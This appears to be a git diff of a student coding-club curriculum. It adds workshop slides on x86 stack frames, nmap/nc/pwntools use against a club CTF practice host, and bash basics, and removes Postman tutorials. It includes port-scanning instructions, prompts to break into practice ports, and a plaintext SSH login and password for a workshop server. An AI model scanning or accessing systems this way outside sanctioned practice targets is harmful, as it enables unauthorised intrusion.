+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd988 | 0x08049187 | 0xffffd998 |
+
+
+
+Note: This add instruction clears out values from the stack quickly (rather than using three pop instructions)
+
+| eax=6 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd98c | 0x080491c6 | 0xffffd998 |
+
+
+
+| eax=6 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491c9 | 0xffffd998 |
+
+
+
+| eax=6 |
+| ----- |
+| edx=3 |
+
+- main:
+
+- - 0x80491bb: push $0x3
+ - 0x80491bd: push $0x2
+ - 0x80491bf: push $0x1
+ - 0x80491c1: call test3
+ - 0x80491c6: add $0xc, %esp
+ - 0x80491c9: some other instruction
+
+- test3:
+
+- - 8049176: push %ebp
+ - 8049177: mov %esp,%ebp
+ - 8049179: mov 0x8(%ebp),%edx
+ - 804917c: mov 0xc(%ebp),%eax
+ - 804917f: add %eax,%edx
+ - 8049181: mov 0x10(%ebp),%eax
+ - 8049184: add %edx,%eax
+ - 8049186: pop %ebp
+ - 8049187: ret
+
+| 0xffffd984 | 0xffffd998 (saved ebp) |
+| ---------- | ----------------------------- |
+| 0xffffd988 | 0x80491c6 (saved return addr) |
+| 0xffffd98c | 1 |
+| 0xffffd990 | 2 |
+| 0xffffd994 | 3 |
+| 0xffffd998 | Stuff from the main function |
+
+| espstack ptr | eipinstruction ptr | ebpbase ptr |
+| ------------ | ------------------ | ----------- |
+| 0xffffd998 | 0x080491c9 | 0xffffd998 |
\ No newline at end of file
diff --git a/Module_Cybersecurity/Stack Buffer Overflow/9.md b/Module_Cybersecurity/Stack Buffer Overflow/9.md
new file mode 100644
index 00000000..de6e9152
--- /dev/null
+++ b/Module_Cybersecurity/Stack Buffer Overflow/9.md
@@ -0,0 +1,11 @@
+# x86 Calling Conventions
+
+- To summarize, arguments to the function are pushed onto the stack by the caller, and the callee just reads “behind” its base pointer to see its arguments. After the call, the caller clears out these values from the stack.
+
+- - Notice the arguments are pushed on in *reverse* order
+
+- We’re almost there.
+
+- Let’s take a look at the last thing: local variables on the stack.
+
+- - I don’t have any space to add commentary on the slides, so I’ll just be talking. If you’re looking at the slides after the workshop, I’ve put some notes in the speaker notes box below.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/1.md b/Module_Cybersecurity/Talking to Remote Servers/1.md
new file mode 100644
index 00000000..7741022d
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/1.md
@@ -0,0 +1,26 @@
+# Talking to Remote Servers
+
+Intro on how to use nmap, nc and pwntools
+
+##### Setup
+
+Install the following tools: nmap, nc, python
+
+And install the python package “pwntools”
+
+Ask me if you have any problems installing any of these.
+
+If you want a head start, run nmap on daviscybersec.ddns.net
+
+Try using nc to send an HTTP request to port 80, then use python to write scripts that exploit ports 1337 and 1338.
+
+##### What are ports?
+
+- A way for one server to run multiple services at once
+
+- One service runs on one port, and you talk to the service by connecting to that port
+
+- There are 65535 of them, and there are conventions on which port is used for what, but it’s not enforced
+
+- - For example, port 80 is commonly used for HTTP, 22 is for SSH, 443 is for HTTPS, 53 is for DNS, etc.
+
diff --git a/Module_Cybersecurity/Talking to Remote Servers/2.md b/Module_Cybersecurity/Talking to Remote Servers/2.md
new file mode 100644
index 00000000..ab924190
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/2.md
@@ -0,0 +1,11 @@
+# How do you know what’s open?
+
+- nmap scans the commonly used ports, but what if there’s an uncommon one?
+- Use the -p flag to specify a port range, for example “-p 100,200,300-600” scans ports 100 and 200 as well as every port in between 300 and 600
+- To scan all ports, use -p-
+- There’s a port in the 5000-5100 range, can you find it?
+
+- By default, nmap tells you nothing about the services behind the ports
+- When you see HTTP, it might not actually be a webserver that’s running on port 80
+- use -sV to scan with version information, although this will take longer to finish
+- What server is running on port 80?
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/3.md b/Module_Cybersecurity/Talking to Remote Servers/3.md
new file mode 100644
index 00000000..97c6e518
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/3.md
@@ -0,0 +1,7 @@
+# How do you connect to it?
+
+Now you know what’s running, how do you connect to it?
+
+- nc (also called netcat) is a simple but useful tool for communicating with a port on a server
+- Basic syntax: nc [server] [port]
+- Useful for text based communication
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/4.md b/Module_Cybersecurity/Talking to Remote Servers/4.md
new file mode 100644
index 00000000..d71c273f
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/4.md
@@ -0,0 +1,12 @@
+# Talking to HTTP
+
+- The HTTP protocol we use everyday is actually in plaintext!
+- Try connecting to port 80 and send the following request:
+
+**GET /nc HTTP/1.1**
+
+**Host: daviscybersec.ddns.net**
+
+****
+
+- Slight caveat: use -C when connecting, because CRLF
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/5.md b/Module_Cybersecurity/Talking to Remote Servers/5.md
new file mode 100644
index 00000000..6177e524
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/5.md
@@ -0,0 +1,5 @@
+# Talking to a custom server
+
+- Now try connecting to daviscybersec.ddns.net:1337
+- These custom servers come up all the time in CTF competitions
+- Try to poke around before we continue
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/6.md b/Module_Cybersecurity/Talking to Remote Servers/6.md
new file mode 100644
index 00000000..88f76bbd
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/6.md
@@ -0,0 +1,6 @@
+# Writing a script that talks remotely
+
+- 10 seconds is too fast to do calculations by hand!
+- Here’s where pwntools comes in, it provides handy interfaces for us to talk to those servers
+- Visit [docs.pwntools.com](https://docs.pwntools.com) for the documentation
+- Try breaking into port 1337 and grab the flag!
\ No newline at end of file
diff --git a/Module_Cybersecurity/Talking to Remote Servers/7.md b/Module_Cybersecurity/Talking to Remote Servers/7.md
new file mode 100644
index 00000000..aa5e1c3d
--- /dev/null
+++ b/Module_Cybersecurity/Talking to Remote Servers/7.md
@@ -0,0 +1,8 @@
+# Talking in Binary
+
+- This is necessary for more complicated exploits, like a buffer overflow
+- How do you send and receive data in binary and convert them into things that make sense?
+- struct.pack and struct.unpack converts a binary string into useful data
+- [docs.python.org/3/library/struct](https://docs.python.org/3/library/struct)
+- Try breaking into port 1338 now!
+
diff --git a/Module_Cybersecurity/Working with Linux and Bash/1.md b/Module_Cybersecurity/Working with Linux and Bash/1.md
new file mode 100644
index 00000000..d76c6735
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/1.md
@@ -0,0 +1,23 @@
+# Bash
+
+##### What is bash?
+
+Bash is a “shell”, which is just a special program that gets your commands and executes them. It’s the most handy tool when you don’t have a graphical interface (minimal system, accessing via SSH, etc).
+
+There are alternative shells, like csh or ksh or tcsh, but bash is the most common and the one you’re likely using now.
+
+Different shells have different syntax, but most of the stuff today will be universal across all of them
+- You can press ‘tab’ to autocomplete your commands!
+ - This will speed things up drastically
+
+##### Help with Bash
+
+man
+
+- Arguably the most important command, since it shows you a help message for the command
+ - man ls
+ - To exit the help message, press ‘q’.
+
+help
+
+- for internal commands, like ‘cd’ or ‘pwd’
\ No newline at end of file
diff --git a/Module_Cybersecurity/Working with Linux and Bash/2.md b/Module_Cybersecurity/Working with Linux and Bash/2.md
new file mode 100644
index 00000000..272a85b5
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/2.md
@@ -0,0 +1,8 @@
+# Setup
+
+You should be running bash on some unix-like system. Play around with these commands on your own system, then try to answer the questions!
+
+When you’re ready, ssh into: bashbasics@twinpeaks.rkevin.dev
+
+Password: twinpeaks
+
diff --git a/Module_Cybersecurity/Working with Linux and Bash/3.md b/Module_Cybersecurity/Working with Linux and Bash/3.md
new file mode 100644
index 00000000..c4e4fd7b
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/3.md
@@ -0,0 +1,81 @@
+# Basic Bash Commands
+
+##### Navigating in Bash
+
+pwd - print working directory
+- - This is the directory (folder) you’re currently ‘in’
+ - All commands operate from this directory, like ‘ls’
+
+cd - change directory
+- If you’re in /home/user, typing ‘cd test’ will put your current working directory as /home/user/test
+- You can also use .. to move up directories, more on that later
+
+ls - list files
+- - By default, it lists files in the current directory
+ - Has tons of features, like -l for long output(more information), and -a for showing hidden files
+
+Hidden and special files:
+- - All files and directories starting with a dot will be hidden files, like .file or .dir
+ - - They’re visible if you use -a when using ls
+ - There are two special ‘folders’ in each directory
+ - - The folder . refers to the current directory, i.e. ‘cd .’ won’t do anything
+ - The folder .. refers to the parent directory, so if you’re in /home/user, typing ‘cd ..’ will put you in /home
+
+ls - list files
+- By default, it lists files in the current directory
+ Has tons of features, like -l for long output(more information), and -a for showing hidden files
+
+Hidden and special files:
+- All files and directories starting with a dot will be hidden files, like .file or .dir
+- They’re visible if you use -a when using ls
+- There are two special ‘folders’ in each directory
+- The folder . refers to the current directory, i.e. ‘cd .’ won’t do anything
+- The folder .. refers to the parent directory, so if you’re in /home/user, typing ‘cd ..’ will put you in /home
+
+##### Looking at files
+
+cat
+- Has nothing to do with the animal, stands for ‘conCATenate’
+- Prints out the entire contents of one or more files
+- Useful, but don’t use it to print too much data or binary junk!
+
+less
+-This command allows you to scroll through the file!
+- Use ↑ and ↓ to scroll around line by line, or use PgUp and PgDn to scroll through pages
+- Press q to quit
+- Other features I’m not gonna talk about -- read the man page!
+
+file
+- Tries to tell you what kind of file this is, whether it’s just text or an executable or a picture.
+- Useful when you don’t know what it is and don’t want to cat it because it’s big!
+
+head / tail
+- Prints out the first / last 10 lines of the file
+- You can specify how many lines you want by using -n [number]
+- Useful when you only care about one part of the file
+
+grep
+- This is an extremely powerful tool, but for now it just searches strings inside files
+ - grep ‘pattern’ file
+ - example:
+
+
+##### Moving Files
+
+cp - copy
+- cp [source] [destination]
+ - Note: to copy recursively (copy all files in subdirectory), use -r
+
+mv - move
+- mv [source] [destination]
+ - No need to use -r, it just moves the entire directory
+
+rm - delete
+- rm [file]
+ - Use -r to delete recursively
+
+WARNING: There is no confirmation for any of these commands! Run them when you’re sure what you’re doing! You can easily overwrite or delete files!
+There’s no “recycle bin” in Linux, once you rm a file it’s gone!
+
+- Be extra careful around wildcards (*)
+
diff --git a/Module_Cybersecurity/Working with Linux and Bash/4.md b/Module_Cybersecurity/Working with Linux and Bash/4.md
new file mode 100644
index 00000000..7368b219
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/4.md
@@ -0,0 +1,24 @@
+# Linux file permissions
+
+All files have an owner and a set of “permissions” telling the system who is allowed to access what. They’re usually expressed in 3 octal numbers (ranging from 0~7), so 000 ~ 777
+- Each number specifies “read”, “write” and “execute” permissions
+ - Read=4, write=2, execute=1
+- If you see 5, 5=4+1 so it corresponds to read and execute. 0 is no permissions, 7 is all
+
+Each of the three numbers specify what the owner, group and world can do
+ - You can check this info in ‘ls -l’ or ‘stat’ commands
+ - This is all very abstract, so let’s go through an example!
+
+###### Commands to Use
+
+chmod
+- Changes permissons of a file
+ - Multiple usages
+ - chmod 755 file
+ - chmod u-x file
+ - check the man page for them all!
+
+chown
+- Changes owner and group of a file
+ - Usually only doable as root (unless you’re the owner and in the group you want to change to)
+ - chown user:group file
\ No newline at end of file
diff --git a/Module_Cybersecurity/Working with Linux and Bash/5.md b/Module_Cybersecurity/Working with Linux and Bash/5.md
new file mode 100644
index 00000000..0a15d880
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/5.md
@@ -0,0 +1,13 @@
+# User information
+
+We kept talking about ‘owners’ and ‘root’, what are they? Users on a system
+
+You can check which user you are using the ‘id’ or ‘whoami’ commands. You can also view the info of other users by looking at the file /etc/passwd. User IDs are the most important part. UID 0 is root.
+
+###### Groups
+
+- ‘id’ tells you what groups you are in
+- Useful when you want, say, 5 people to modify one file but none of the others
+ - chmod 664 file
+
+You can also look in /etc/group
\ No newline at end of file
diff --git a/Module_Cybersecurity/Working with Linux and Bash/6.md b/Module_Cybersecurity/Working with Linux and Bash/6.md
new file mode 100644
index 00000000..e942a9a5
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/6.md
@@ -0,0 +1,29 @@
+# Advanced bash skills
+
+You can “chain” commands together using “pipes”, |
+
+- command 1 | command 2 | command 3
+
+ - This links the output of command 1 into the input of command 2, and so on
+
+- This allows many possibilities!
+
+- Trying to find a running process?
+
+ - ps aux | grep command
+
+- Trying to find something only in the first 300 lines of a file?
+
+ - head -n300 file | grep something
+
+- You can also “background” processes while they’re running!
+
+- If you want to run something while another command is running, you don’t have to kill that command!
+
+ - Press Ctrl+Z, which “stops” the command
+ - Type ‘fg’ to bring it back to the foreground again!
+ - Type ‘bg’ to resume it running, but still free up the shell to execute other commands
+
+- Use the ‘jobs’ command to view all the stopped/backgrounded jobs on the system
+
+- Use ‘fg [number]’ or ‘bg [number]’ to resume that particular job
\ No newline at end of file
diff --git a/Module_Cybersecurity/Working with Linux and Bash/7.md b/Module_Cybersecurity/Working with Linux and Bash/7.md
new file mode 100644
index 00000000..3946dd6f
--- /dev/null
+++ b/Module_Cybersecurity/Working with Linux and Bash/7.md
@@ -0,0 +1,21 @@
+# Putting it to the test
+
+Once you’re ready, take a crack at the service! Information on the right.
+
+- Try to solve it yourself first, I’ll walk everyone through it after 30 minutes. Good luck!
+
+We learned a lot about basic commands, some more advanced bash skills, and how file permissions and processes work.
+
+There are many more advanced features I didn’t talk about, like command return values, environment variables, wildcards, command substitution, etc, but you can read more on your own!
+
+When in doubt, always use ‘man’ and ‘help’!
+
+##### Stuck?
+
+- Getting help: man
+- Moving around: ls, cd, pwd
+- Looking at files: cat, less, file stat, head, tail, grep
+- Process control: ps, kill
+- User information: whoami id
+- Piping: | (command shift the key above your enter key on the keyboard)
+- Bash job control: &, ^Z, fg, bg, jobs
\ No newline at end of file
diff --git a/Module_Postman/activities/git.keep b/Module_Cybersecurity/git.keep
similarity index 100%
rename from Module_Postman/activities/git.keep
rename to Module_Cybersecurity/git.keep
diff --git a/Module_Machine_Learning/README.md b/Module_Machine_Learning/README.md
new file mode 100644
index 00000000..311bf282
--- /dev/null
+++ b/Module_Machine_Learning/README.md
@@ -0,0 +1,3 @@
+# Machine Learning
+
+To be started by our BitPartner at Iowa State University.
\ No newline at end of file
diff --git a/Module_Postman/.DS_Store b/Module_Postman/.DS_Store
new file mode 100644
index 00000000..8b3a63f4
Binary files /dev/null and b/Module_Postman/.DS_Store differ
diff --git a/Module_Postman/Cards/8.md b/Module_Postman/Cards/8.md
new file mode 100644
index 00000000..659df283
--- /dev/null
+++ b/Module_Postman/Cards/8.md
@@ -0,0 +1,8 @@
+What is the complexity of a doubly linked list?
+
+For accessing and searching for elements, the average time complexity is O(n). Worst case is the same, so no matter what Big O will be O(n).
+
+For insertion and deletion, average time complexity is O(1). Again, in the worst case it's still O(1), so it'll always be constant.
+
+Worst case space complexity is O(n) for all doubly linked lists.
+
diff --git a/Module_Postman/Cards/81.md b/Module_Postman/Cards/81.md
new file mode 100644
index 00000000..35dc75f6
--- /dev/null
+++ b/Module_Postman/Cards/81.md
@@ -0,0 +1,17 @@
+Remember that Big O notation describes the behavior of functions as input grows, in this case as the number of elements in the doubly linked lists increases.
+
+**Step 1: Time Complexity**
+
+The time complexity O(n) describes the behavior of the access and search functions on a doubly linked list. Here, **n** refers to the size of the input. So the greater the input, in this case the number of elements in the list, the more time these operations will take.
+
+This is because of the data structure used to create doubly linked lists. We have pointers going to and from each neighboring node, so in order to access or search for a node, we go from pointer to pointer to find a given value. This means that as the number of nodes (size of the list) increases, the more pointers we pass through, making the time it takes a function of the number of nodes, or O(n).
+
+The time complexity O(1) describes the behavior of insertion and deletion functions. This means that it takes constant time, or the same amount of time, no matter the amount of data in a doubly linked list. This is because no matter the size of the list, we are only ever inserting or deleting one node, so it takes the same amount of time every time.
+
+**Step 2: Best, Average, and Worst Cases**
+
+For all of these operations, the best, average and worst case time complexities are the same, so you don't need to try to achieve a more efficient Big O.
+
+**Step 3: Space Complexity**
+
+Lastly, O(n) space complexity means that the more elements (n) in the list, the more space the doubly linked list will take up.
\ No newline at end of file
diff --git a/Module_Postman/activities/.DS_Store b/Module_Postman/activities/.DS_Store
deleted file mode 100644
index c8c01cfc..00000000
Binary files a/Module_Postman/activities/.DS_Store and /dev/null differ
diff --git a/Module_Postman/activities/1.md b/Module_Postman/activities/1.md
deleted file mode 100644
index d4316e12..00000000
--- a/Module_Postman/activities/1.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-# Creating Collections
-
-**Collections** in Postman allow us to organize our HTTP requests which makes it easier to automate our API testing. They also allow the user to quickly edit their requests. Organized collections adhere to the **DRY Principle**:
-
-* **D**on't
-* **R**epeat
-* **Y**ourself
-
-
-
-To create a collection in Postman, click the **+ New Collection** button toward the top of the Postman window:
-
-
-
-A new window will pop up that will allow you to name your collection and provide a description. Let's walk through an example of making a collection by creating the Color Changer collection.
-
-#### Color Changer Collection:
-
-We are going to create a collection for our requests for the BitBloxs API.
-
-**Steps:**
-
-* Click **+ New Collection**
-* Name the collection **Color Changer**
-* Provide any description you think necessary
-* Click **Create**
-
-On your collection sidebar, you should see the new collection we just created:
-
-
-
-We will be using this collection to learn how to add requests to collections and create documentation for collections.
-
diff --git a/Module_Postman/activities/2.md b/Module_Postman/activities/2.md
deleted file mode 100644
index c6e0f413..00000000
--- a/Module_Postman/activities/2.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-# Creating Environments
-
-Before we start adding requests to our Color Changer collection, let's create an **environment** that will allow us to store variables. Putting variables in an environment saves us time because instead having to retype long elements, such as a URL, we can simply use the variable name instead.
-
-To create an environment, you click the large **NEW** button and then **Environment**.
-
-#### Color Changer Environment:
-
-Let's walk through making a new environment for our BitBloxs API. Create a new environment that we'll name **Deploy**. You'll see this table to create the variables:
-
-
-
-In the **VARIABLE** column, add the variables **url** and **api_key**. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **url**, enter our URL https://bitbloxs.herokuapp.com/. For the **INITAL VALUE** and **CURRENT VALUE** columns corresponding to **api_key**, let's enter a generic API key such as **thisistheapikey**. Here's what your table should look like after you fill it out:
-
-
-
-Now you can click **Add**, and our environment will be created. Since we made the new environment, we want to make sure that it is the active environment that Postman will be using when we try to access our variables. To do so, find this part of the Postman window:
-
-
-
-Make sure that the bar in the above image indicates that the active environment is **Deploy**. If not, click on the dropdown menu and select **Deploy**.
-
-To use our environment variables, it requires this format: `{{variableName}}`. We'll get practice using variables when we start adding requests to our collections.
\ No newline at end of file
diff --git a/Module_Postman/activities/3.md b/Module_Postman/activities/3.md
deleted file mode 100644
index 5ee4e62f..00000000
--- a/Module_Postman/activities/3.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-# Adding Requests to Collections
-
-Now that we have created our **Color Changer** collection and **Deploy** environment, we can start adding requests to the collection. To add a request to our existing collection, click on the `...` icon next to the collection:
-
-
-
-
-
-Then click **Add Request**. A menu will pop up asking you to name the request and provide an optional description of the request you are making.
-
-#### Color Changer Collection:
-
-We will go through examples of adding requests to collections by adding 4 requests to our **Color Changer** collection in the following cards.
-
-
-
-
-
diff --git a/Module_Postman/activities/4.md b/Module_Postman/activities/4.md
deleted file mode 100644
index bb4e764f..00000000
--- a/Module_Postman/activities/4.md
+++ /dev/null
@@ -1,24 +0,0 @@
-
-
-# First Request (GET):
-
-The first request that we'll be adding to our **Color Changer** collection is a GET request. Here are the steps we must follow to create the GET request and add it to our collection:
-
-* Create a new request in the Color Changer collection
-* Name the request `Get all boxes`
-* Add API key authentication to this request
-
-To add authentication to our requests, first click the **Authentication** tab in the request window:
-
-
-
-Then under **TYPE**, select the option **API Key**. To the right, in the **Key** field, enter api_key. In the **Value** field, enter our variable for our API Key, which is {{api_key}}. For the **Add to** field, ensure that Query Params is selected. Your Authorization window should now look like this:
-
-
-
-Now that we've established our credentials, let's create the route. To do so, refer to the route bar:
-
-
-
-Make sure that the box on the left reads **GET** because we are making a GET request. In the box that reads `Enter request URL`, let's put our GET request URL, which would be `{{url}}boxes?=&=`. Notice how we are accessing our url variable we established earlier by calling {{url}}. Now if we click **Send**, we should receive a response that lists all the boxes in JSON format, which allows us to see the current status of the BitBloxs. Our GET request is now complete! Make sure to save it by clicking on the **Save** button to the right of **Send**.
-
diff --git a/Module_Postman/activities/5.md b/Module_Postman/activities/5.md
deleted file mode 100644
index 22c3b5ac..00000000
--- a/Module_Postman/activities/5.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-# Second Request (POST):
-
-The next request we want to create is a POST request. A POST request will allow us to initialize the color of a white box. To create our POST request, follow the same first 3 steps from the GET request but name this request `Change color` instead.
-
-To change make this request into a POST request, in the route bar, change the drop down menu that defaults to GET to the value **POST**.
-
-To complete our request, we just need to work on the request URL. For the POST request, the generic format of the URL would be `{{url}}change/boxNumber/color`. For `boxNumber`, you can insert the number of the box you want to initialize to a certain color. For `color`, you can insert the color (blue, orange, green, yellow) that you want the box to be initialized to. For example if you want to initialize box 23 to the color green, your request should look like:
-
-
-
-If you **Send** that request, you should get a response message saying that you successfully changed the color. However, if you send that same request one more time, you should get an error message. The reason for the error is because you changed the color of the box to green with your first request and therefore can no longer initialize the color of the box, thus resulting in the error. To edit the color of an already initialized box, you need to use our next request.
-
diff --git a/Module_Postman/activities/6.md b/Module_Postman/activities/6.md
deleted file mode 100644
index cdcc9536..00000000
--- a/Module_Postman/activities/6.md
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-# Third Request (PUT):
-
-To edit the color of a box, we will use a PUT request. The steps to creating a PUT request are the same as the previous requests but instead we will indicate in the route bar that it is a PUT request. For the PUT request, you can name it `Edit color`. Our generic request URL will be `{{url}}change/boxNumer/color`. For example, if you want to change the color of box 202 to yellow, this will be your PUT request:
-
-
-
-If you send the request, it should successfully change the color of box 202 to yellow. The case where this PUT request will result in an error is if the box has not been initialized to a color yet. To initialize the color we must use the POST request from our collection.
\ No newline at end of file
diff --git a/Module_Postman/activities/7.md b/Module_Postman/activities/7.md
deleted file mode 100644
index 48821c48..00000000
--- a/Module_Postman/activities/7.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-# Fourth Request (DELETE):
-
-The last request that we will add to our Color Changer collection is a DELETE request. Our DELETE request will remove the color from the specified box and return it to the uninitialized white state. To create the DELETE request, the process is the same as prior, but this request will be named `Delete color`. Make sure that you indicate we are doing a DELETE request in the dropdown menu in the route bar. The URL for this request will be `{{url}}delete/boxNumber`. Therefore, if you want to delete the color from box 254, the request should look like:
-
-
-
-
-
-The requests we added to Color Changer are just some of the basic essentials needed to use Postman with your APIs. Postman has many features that allow you to test the functionality of APIs that you can continue to explore.
\ No newline at end of file
diff --git a/Module_Postman/activities/8.md b/Module_Postman/activities/8.md
deleted file mode 100644
index 88670144..00000000
--- a/Module_Postman/activities/8.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-# Generating Documentation
-
-Creating documentation is important when creating any project. The same principle applies to Postman collections. We want to create documentation for our collections for people who might want to use the collections in the future. The documentation will provide the user on the purpose and usage of the collection.
-
-One feature that Postman provides is that it will automatically generate some documentation for a collection. You can then go into the generated documentation and edit it to include more detail. We will be using Postman's Documenter to create documentation for the Color Changer collection.
-
-#### Color Changer Collection:
-
-We will walk through an example of generating documentation for our Color Changer collection. To generate the documentation, click the arrow next to the collection on the collection menu:
-
-
-
-Then simply click **View in web**. As you can see, Postman generates some documentation for our Color Changer collection.
-
-However, we want to add more details to our documentation. The easy way to do so would be to:
-
-* Click the **New** button
-* Click **API Documentation**
-* Click the **Select an existing collection**
-* Click **Color Changer**
-
-Once you get to this window, you will notice that Postman provides default questions for you to make you documentation more informative. I recommend answering those questions on your own to make sure you understand the purpose of the Color Changer collection.
-
-After answering those questions, click **Save**. Postman will provide you with a link to the updated documentation.
-
-The automatically generated documentation has a section for each request we made. It provides the name, request URL, and an example response on the right side. However, we want to edit this documentation to provide more details.
-
-To do so, you must open a certain request on Postman. Then click the small arrow next to the requests name:
-
-
-
-Then click **Add a description**. This will allow you to add add detail to each request's documentation using Markdown.
-
-
-
-Here is some sample documentation for each request we created. I recommend filling out this documentation for each request, or create your own documentation. Also, note that the request URL is in a generic form; I recommend changing your request URL to a generic form for the documentation, or explain each part of your current URL below. Therefore, the user can easily understand each part of the request URL.
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Module_Postman/activities/9.md b/Module_Postman/activities/9.md
deleted file mode 100644
index 2cabe4d5..00000000
--- a/Module_Postman/activities/9.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-
-# Importing API Collections
-
-Postman has a feature that allows you to import APIs from existing documentation. To demonstrate this feature, we will be using **Cisco DevNet**, which can be found at https://explore.postman.com/team/ciscodevnet.
-
-On the link above, find **Webex Teams API**. To import this API into Postman, simply click the orange button to the right that says **Run in Postman**. It should open this collection in Postman. To understand the usage of this collection, you can click **View Documentation**.
-
-
-
-Since we'll be using the **Webex Teams API**, let's open it in Postman and open the documentation. The API request we are going to use from this collection is the **Create a room (Teams)** POST request, which can be found here:
-
-
-
-Since we did not create this collection or API, we obviously do not know how to use the **Create a room** request; therefore, let's refer to the documentation we opened earlier. If we look for this request in the left menu bar, we can easily the find documentation for the request we're working with. Here's what the documentation for this request looks like:
-
-
-
-If you look under **HEADERS** you will notice that this request requires an access token to perform this request. To get this access token, you will need to sign up for a Cisco Webex account on the link in the documentation (https://developer.webex.com/endpoint-rooms-post.html). Once you log into your Webex account, it will give you an access token. You simply have to click the copy button on this screen:
-
-
-
-Now that you have your access token copied to your clipboard, let's authorize our request in Postman:
-
-
-
-Notice how I selected the Authorization Type to be **Bearer Token**. I chose Bearer Token because the documentation indicated that the Authorization type is **Bearer**.
-
-Now that we've authenticated our request, we can send a **Create a room (Teams)** POST request. From the documentation, you may have noticed that our request data will be in the request Body in JSON format. Therefore, let's go to the **Body** tab in Postman and change the **"title"** of our new room to the value **"Chat Room"**:
-
-
-
-Now if we click **Send**, our request should go through and the response should look something like:
-
-
-
-
-
-There we go! We have now imported an API Collection into our Postman collections and used the documentation to send a request to the Cisco Webex API and received a response.
-
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/.DS_Store b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/.DS_Store
deleted file mode 100644
index 320261c3..00000000
Binary files a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/.DS_Store and /dev/null differ
diff --git a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/1.md b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/1.md
index f39bfd28..4e6204fd 100644
--- a/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/1.md
+++ b/Module_Postman/activities/Act1_Intro_to_APIs_Endpoints/1.md
@@ -1,51 +1,51 @@
-
-
-We are going to learn what an API is and why developers use them all the time!
-
-APIs are the online doors that allow people to interact with each other without knowing what's inside
-
-In computer terms, APIs allow programs to interact with each other without exposing source code
-
-
-
-They are useful because they allow faster development
-
-You don't have to build everything from scratch, since someone else already did it for you!
-
-An example is the Pusher API that allows you to get real time notifications on your phone, which if you had to do from scratch would take much longer!
-
-
-
-
-
